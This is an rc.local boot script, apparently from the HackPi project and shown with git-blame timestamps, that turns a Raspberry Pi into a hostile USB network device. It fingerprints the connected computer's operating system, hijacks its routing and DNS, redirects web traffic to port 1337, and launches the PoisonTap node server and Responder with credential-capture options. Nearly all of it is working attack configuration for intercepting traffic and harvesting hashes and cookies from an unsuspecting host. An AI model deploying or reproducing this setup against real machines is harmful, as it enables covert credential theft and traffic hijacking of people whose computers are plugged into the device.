2017-01-04 12:46:47 -05:00
|
|
|
#!/bin/sh -e
|
|
|
|
#
|
|
|
|
# rc.local
|
|
|
|
#
|
|
|
|
# This script is executed at the end of each multiuser runlevel.
|
|
|
|
# Make sure that the script will "exit 0" on success or any other
|
|
|
|
# value on error.
|
|
|
|
#
|
|
|
|
# In order to enable or disable this script just change the execution
|
|
|
|
# bits.
|
|
|
|
#
|
|
|
|
# By default this script does nothing.
|
|
|
|
|
|
|
|
# Print the IP address
|
|
|
|
_IP=$(hostname -I) || true
|
|
|
|
if [ "$_IP" ]; then
|
|
|
|
printf "My IP address is %s\n" "$_IP"
|
|
|
|
fi
|
|
|
|
|
2017-01-14 18:03:21 -05:00
|
|
|
# Parse USB requests in dmesg
|
2017-01-17 23:16:20 -05:00
|
|
|
/bin/bash /home/pi/HackPi/fingerprint.sh | tee /home/pi/os.txt
|
2017-01-14 18:03:21 -05:00
|
|
|
|
|
|
|
# Stop the dummy gadget and start the real one
|
|
|
|
modprobe -r g_ether
|
|
|
|
modprobe libcomposite
|
|
|
|
|
2017-01-04 12:46:47 -05:00
|
|
|
# libcomposite configuration
|
2017-01-17 23:16:20 -05:00
|
|
|
/bin/sh /home/pi/HackPi/gadget.sh | tee /home/pi/HackPi/gadget.log
|
|
|
|
|
|
|
|
# Start bridge interface
|
|
|
|
ifup br0
|
|
|
|
ifconfig br0 up
|
2017-01-04 12:46:47 -05:00
|
|
|
|
|
|
|
# Clear leases
|
|
|
|
#rm -f /var/lib/dhcp/dhcpd.leases
|
|
|
|
#touch /var/lib/dhcp/dhcpd.leases
|
|
|
|
|
2017-01-17 23:16:20 -05:00
|
|
|
# Start the DHCP server
|
|
|
|
/sbin/route add -net 0.0.0.0/0 br0
|
|
|
|
/etc/init.d/isc-dhcp-server start
|
|
|
|
# Set some other paramaters
|
|
|
|
#/sbin/sysctl -w net.ipv4.ip_forward=1
|
|
|
|
/sbin/iptables -t nat -A PREROUTING -i br0 -p tcp --dport 80 -j REDIRECT --to-port 1337
|
|
|
|
# Start some servers
|
|
|
|
/usr/bin/screen -dmS dnsspoof /usr/sbin/dnsspoof -i br0 port 53
|
|
|
|
/usr/bin/screen -dmS node /usr/bin/nodejs /home/pi/poisontap/pi_poisontap.js
|
|
|
|
|
|
|
|
# Enable Serial
|
|
|
|
systemctl enable getty@ttyGS0.service
|
2017-01-04 12:46:47 -05:00
|
|
|
|
|
|
|
# Start Responder
|
2017-01-17 23:16:20 -05:00
|
|
|
/usr/bin/screen -dmS responder bash -c 'cd /home/pi/Responder/; python Responder.py -I br0 -f -w -r -d -F'
|
2017-01-04 12:46:47 -05:00
|
|
|
|
|
|
|
exit 0
|